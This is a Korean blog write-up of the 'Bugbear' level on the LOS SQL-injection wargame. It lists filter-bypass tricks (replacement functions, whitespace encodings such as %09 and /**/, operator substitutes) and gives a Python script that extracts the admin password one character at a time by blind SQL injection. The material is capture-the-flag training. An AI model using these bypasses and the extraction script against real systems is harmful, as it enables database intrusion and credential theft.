[Bugbear] LOS 문제풀이13
SQL Injection Web Hacking
LOS 사이트 : http://los.eagle-jump.org/
[힌트]
1. substr 우회
right, left, mid 사용
substr('apple',1,1) = 'a' -> right(left('apple',1),1) = 'a'
substr('apple',1,1) = 'a' -> mid('apple',1,1) = 'a'
2. ascii 우회
ord, hex 사용
ascii(substr(pw,1,1)) = ord(substr(pw,1,1))
3. =, like, or, and 우회
= : like, between, in, instr 이용
or : || and : &&
4. 빈칸(공백) 우회
' ' : ( ), /**/, %09, %0a, %0c, %0b, +
5. ' (작은따옴표) 우회
char 이용 or " (큰따옴표) 사용
풀이보기 접기
진짜 막아놓을 것들은 다 막아놓았다. 하나씩 우회해서 사용하면 문제는 풀린다. 물론 비밀번호를 하나씩 찾아내야 한다.
length 함수를 이용해서 길이가 8글자라는 것을 확인할 수 있다. 주의할 점은 = 과 like를 막아놓았으므로 다른 방법으로 써야 한다.
저는 in 함수를 이용해서 우회했습니다. in함수의 경우 ~ in 뒤에 올 문자열이 꼭 괄호안에 들어가있어야 한다. 그리고 = 말고도 공백도 막아놓았으므로 공백우회하는 방법중에 하나를 선택해서 공백대신에 써 줘야 한다. 여기서는 ascii를 우회하는 방법이 ord를 쓸 수가 없다. 패턴매칭에 or가 걸려 ord도 같이 걸리기 때문에 hex를 이용해서 문제를 풀어야 한다. 그래야 제대로 hello admin이 뜨는 것을 볼 수 있고 패스워드를 하나씩 찾을 수 있다.
접기
자동화프로그램 접기
[Bugbear 자동화프로그램] - Python3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# LOS Bugbear
import socket
for i in range (1 ,9 ):
for ch in range (48 ,123 ):
if 58 < = ch < = 64 : continue
if 91 < = ch < = 96 : continue
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('104.27.174.42' ,80 ))
header = "GET /bugbear_431917ddc1dec75b4d65a23bd39689f8.php"
header + = "?pw=&no=1%09||%09id%09in%09(\"admin\")%09%26%26%09hex(mid(pw," + str (i)+ ",1))%09in%09(hex(" + str (ch)+ ")) "
header + = "HTTP/1.1\r\n"
header + = "Host:los.eagle-jump.org\r\n"
header + = "Cookie:PHPSESSID=44b0qo6127nchlhrrohm2scc93\r\n" # 쿠키는 현재 갖고있는 세션값
header + = "\r\n"
response = ''
sock.send(header.encode())
response = sock.recv(65535 )
response = response.decode()
if "Hello admin" in response:
print (chr(ch),end= '' ,flush= True)
sock.close ()
break;
sock.close ()
print ()
IT Security
접기